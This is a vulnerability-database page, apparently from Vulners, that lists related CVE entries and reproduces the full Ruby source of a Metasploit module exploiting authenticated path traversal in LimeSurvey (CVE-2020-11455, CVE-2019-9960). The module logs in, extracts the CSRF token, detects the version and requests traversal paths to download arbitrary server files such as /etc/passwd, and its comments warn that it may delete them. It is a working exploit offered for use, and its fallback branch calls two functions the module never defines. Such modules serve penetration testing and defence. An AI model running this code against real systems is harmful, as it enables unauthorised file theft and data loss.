| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| LimeSurvey 4.1.11 - (File Manager) Path Traversal Vulnerability | 6 Apr 202000:00 | – | zdt | |
| CVE-2019-9960 | 14 Apr 202017:13 | – | circl | |
| CVE-2020-11455 | 6 Apr 202000:00 | – | circl | |
| LimeSurvey Access Control Error Vulnerability | 26 Mar 201900:00 | – | cnvd | |
| LimeSurvey path traversal vulnerability (CNVD-2020-23188) | 2 Apr 202000:00 | – | cnvd | |
| CVE-2019-9960 | 24 Mar 201900:27 | – | cve | |
| CVE-2020-11455 | 1 Apr 202015:48 | – | cve | |
| CVE-2019-9960 | 24 Mar 201900:27 | – | cvelist | |
| CVE-2020-11455 | 1 Apr 202015:48 | – | cvelist | |
| LimeSurvey 4.1.11 - 'File Manager' Path Traversal | 6 Apr 202000:00 | – | exploitdb |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LimeSurvey Zip Path Traversals',
'Description' => %q{
This module exploits an authenticated path traversal vulnerability found in LimeSurvey
versions between 4.0 and 4.1.11 with CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960,
inclusive.
In CVE-2020-11455 the getZipFile function within the filemanager functionality
allows for arbitrary file download. The file retrieved may be deleted after viewing,
which was confirmed in testing.
In CVE-2019-9960 the szip function within the downloadZip functionality allows
for arbitrary file download.
Verified against 4.1.11-200316, 3.15.0-181008, 3.9.0-180604, 3.6.0-180328,
3.0.0-171222, and 2.70.0-170921.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Matthew Aberegg', # edb/discovery cve 2020
'Michael Burkey', # edb/discovery cve 2020
'Federico Fernandez', # cve 2019
'Alejandro Parodi' # credited in cve 2019 writeup
],
'References' => [
# CVE-2020-11455
['EDB', '48297'], # CVE-2020-11455
['CVE', '2020-11455'],
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b'],
# CVE-2019-9960
['CVE', '2019-9960'],
['URL', 'https://www.secsignal.org/en/news/cve-2019-9960-arbitrary-file-download-in-limesurvey/'],
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/1ed10d3c423187712b8f6a8cb2bc9d5cc3b2deb8']
],
'DisclosureDate' => '2020-04-02',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]),
OptString.new('TARGETURI', [true, 'The base path to the LimeSurvey installation', '/']),
OptString.new('FILE', [true, 'The file to retrieve', '/etc/passwd']),
OptString.new('USERNAME', [true, 'LimeSurvey Username', 'admin']),
OptString.new('PASSWORD', [true, 'LimeSurvey Password', 'password'])
]
)
end
def uri
target_uri.path
end
def cve_2020_11455(cookie, ip)
vprint_status('Attempting to retrieve file')
print_error 'This method will possibly delete the file retrieved!!!'
traversal = '../' * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'filemanager', 'sa', 'getZipFile'),
'cookie' => cookie,
'vars_get' => {
'path' => "#{traversal}#{datastore['FILE']}"
}
})
if res && res.code == 200 && !res.body.empty?
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
print_good("File stored to: #{loot}")
else
print_bad('File not found or server not vulnerable')
end
end
def cve_2019_9960_version_3(cookie, ip)
vprint_status('Attempting to retrieve file')
traversal = '../' * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'export', 'sa', 'downloadZip'),
'cookie' => cookie,
'vars_get' => {
'sZip' => "#{traversal}#{datastore['FILE']}"
}
})
if res && res.code == 200 && !res.body.empty?
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
print_good("File stored to: #{loot}")
else
print_bad('File not found or server not vulnerable')
end
end
# untested because I couldn't find when this applies. It is pre 2.7 definitely, but unsure when.
# this URL scheme was noted in the secsignal write-up
def cve_2019_9960_pre25(cookie, ip)
vprint_status('Attempting to retrieve file')
traversal = '../' * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookie,
'vars_get' => {
'sZip' => "#{traversal}#{datastore['FILE']}",
'r' => 'admin/export/sa/downloadZip'
}
})
if res && res.code == 200 && !res.body.empty?
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
print_good("File stored to: #{loot}")
else
print_bad('File not found or server not vulnerable')
end
end
def login
# get csrf
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login')
})
cookie = res.get_cookies
fail_with(Failure::NoAccess, 'No response from server') unless res
# this regex is version 4+ compliant, will fail on earlier versions which aren't vulnerable anyways.
/"csrfTokenName":"(?<csrf_name>\w+)"/i =~ res.body
/"csrfToken":"(?<csrf_value>[\w=-]+)"/i =~ res.body
csrf_name = 'YII_CSRF_TOKEN' if csrf_name.blank? # default value
fail_with(Failure::NoAccess, 'Unable to get CSRF values, check URI and server parameters.') if csrf_value.blank?
vprint_status("CSRF: #{csrf_name} => #{csrf_value}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login'),
'cookie' => cookie,
'vars_post' => {
csrf_name => csrf_value,
'authMethod' => 'Authdb',
'user' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginlang' => 'default',
'action' => 'login',
'width' => '100',
'login_submit' => 'login'
}
})
if res && res.code == 302 && res.headers['Location'].include?('login') # good login goes to location admin/index not admin/authentication/sa/login
fail_with(Failure::NoAccess, 'No response from server')
end
vprint_good('Login Successful')
res.get_cookies
end
def determine_version(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'index'),
'cookie' => cookie
})
fail_with(Failure::NoAccess, 'No response from server') unless res
/Version\s+(?<version>\d\.\d{1,2}\.\d{1,2})/ =~ res.body
return nil unless version
Rex::Version.new(version)
end
def run_host(ip)
cookie = login
version = determine_version cookie
if version.nil?
# try them all!!!
print_status('Unable to determine version, trying all exploits')
cve_2020_11455 cookie, ip
cve_2019_9960_3_15_9 cookie, ip
cve_2019_9960_pre3_15_9 cookie, ip
end
vprint_status "Version Detected: #{version.version}"
if version.between?(Rex::Version.new('4.0'), Rex::Version.new('4.1.11'))
cve_2020_11455 cookie, ip
elsif version.between?(Rex::Version.new('2.50.0'), Rex::Version.new('3.15.9'))
cve_2019_9960_version_3 cookie, ip
# 2.50 is when LimeSurvey started doing almost daily releases. This version was
# picked arbitrarily as I can't seem to find a lower bounds on when this other
# method may be needed.
elsif version < Rex::Version.new('2.50.0')
cve_2019_9960_pre25 cookie, ip
else
print_bad "No exploit for version #{version.version}"
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation